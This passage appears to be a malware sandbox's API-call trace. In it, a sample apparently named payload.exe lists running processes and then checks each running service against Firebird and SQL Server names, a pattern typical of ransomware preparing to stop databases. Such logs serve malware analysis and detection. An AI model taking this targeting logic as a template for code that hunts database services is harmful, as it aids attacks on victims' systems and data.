(lpString="AppHostRegistrationVerifier.exe") returned 31 [0065.580] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0065.581] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0065.581] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0065.582] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0065.582] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0065.585] lstrlenW (lpString="arcobviously.exe") returned 16 [0065.585] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0065.585] lstrlenW (lpString="preston disciplines.exe") returned 23 [0065.585] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0065.586] lstrlenW (lpString="boss.exe") returned 8 [0065.586] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0065.587] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0065.587] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0065.587] lstrlenW (lpString="placing.exe") returned 11 [0065.587] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0065.588] lstrlenW (lpString="heroes.exe") returned 10 [0065.588] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0065.589] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0065.589] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0065.617] lstrlenW (lpString="requirement moments.exe") returned 23 [0065.617] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0065.618] lstrlenW (lpString="sugar.exe") returned 9 [0065.618] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0065.619] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0065.619] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0065.619] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0065.619] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0065.620] lstrlenW (lpString="genealogy.exe") returned 13 [0065.620] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0065.621] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0065.621] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0065.622] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0065.622] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0065.623] lstrlenW (lpString="expenditure.exe") returned 15 [0065.623] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0065.624] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0065.624] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0065.624] lstrlenW (lpString="upgrading.exe") returned 13 [0065.624] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0065.625] lstrlenW (lpString="conservative.exe") returned 16 [0065.625] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0065.626] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0065.626] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0065.627] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0065.627] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0065.628] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0065.628] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0065.628] lstrlenW (lpString="gods violations duke.exe") returned 24 [0065.628] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0065.629] lstrlenW (lpString="dllhost.exe") returned 11 [0065.629] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.630] lstrlenW (lpString="conhost.exe") returned 11 [0065.630] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.631] lstrlenW (lpString="conhost.exe") returned 11 [0065.631] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0065.632] lstrlenW (lpString="payload.exe") returned 11 [0065.632] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.632] lstrlenW (lpString="cmd.exe") returned 7 [0065.632] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.633] lstrlenW (lpString="conhost.exe") returned 11 [0065.633] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0065.634] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0065.634] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.635] lstrlenW (lpString="conhost.exe") returned 11 [0065.635] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.635] lstrlenW (lpString="svchost.exe") returned 11 [0065.635] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0065.636] lstrlenW (lpString="mode.com") returned 8 [0065.636] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0065.637] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0065.637] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.638] lstrlenW (lpString="svchost.exe") returned 11 [0065.638] Process32NextW (in: hSnapshot=0x368, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0065.639] CloseHandle (hObject=0x368) returned 1 [0065.639] Sleep (dwMilliseconds=0x1f4) [0066.197] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cedb8 [0066.197] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0066.198] GetLastError () returned 0xea [0066.198] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ddc) returned 0x4364f30 [0066.198] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4364f30, cbBufSize=0x1ddc, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4364f30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0066.199] CloseServiceHandle (hSCObject=0x6cedb8) returned 1 [0066.199] lstrlenW (lpString="Appinfo") returned 7 [0066.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0066.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0066.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0066.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0066.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0066.199] lstrlenW (lpString="AppXSvc") returned 7 [0066.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0066.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0066.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0066.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0066.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0066.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0066.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0066.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0066.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0066.199] lstrlenW (lpString="Audiosrv") returned 8 [0066.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0066.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0066.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0066.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0066.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0066.200] lstrlenW (lpString="BFE") returned 3 [0066.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0066.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0066.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0066.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0066.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0066.200] lstrlenW (lpString="BITS") returned 4 [0066.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0066.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0066.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0066.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0066.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0066.200] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0066.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0066.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0066.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0066.200] lstrlenW (lpString="CDPSvc") returned 6 [0066.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0066.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0066.200] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0066.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0066.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0066.200] lstrlenW (lpString="ClickToRunSvc") returned 13 [0066.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.201] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0066.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0066.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0066.201] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0066.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0066.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0066.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0066.201] lstrlenW (lpString="CryptSvc") returned 8 [0066.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0066.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0066.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0066.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0066.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0066.201] lstrlenW (lpString="DcomLaunch") returned 10 [0066.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0066.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0066.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0066.201] lstrlenW (lpString="DeviceAssociationService") returned 24 [0066.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0066.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0066.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0066.201] lstrlenW (lpString="Dhcp") returned 4 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0066.202] lstrlenW (lpString="Dnscache") returned 8 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0066.202] lstrlenW (lpString="DoSvc") returned 5 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0066.202] lstrlenW (lpString="DPS") returned 3 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0066.202] lstrlenW (lpString="DusmSvc") returned 7 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0066.202] lstrlenW (lpString="EventLog") returned 8 [0066.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0066.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0066.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0066.202] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0066.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0066.203] lstrlenW (lpString="EventSystem") returned 11 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0066.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0066.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0066.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0066.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0066.203] lstrlenW (lpString="FontCache") returned 9 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0066.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0066.203] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0066.203] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0066.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0066.203] lstrlenW (lpString="gpsvc") returned 5 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0066.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0066.203] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0066.203] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0066.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0066.203] lstrlenW (lpString="iphlpsvc") returned 8 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.203] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0066.203] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0066.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0066.203] lstrlenW (lpString="KeyIso") returned 6 [0066.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0066.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0066.203] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0066.203] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0066.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 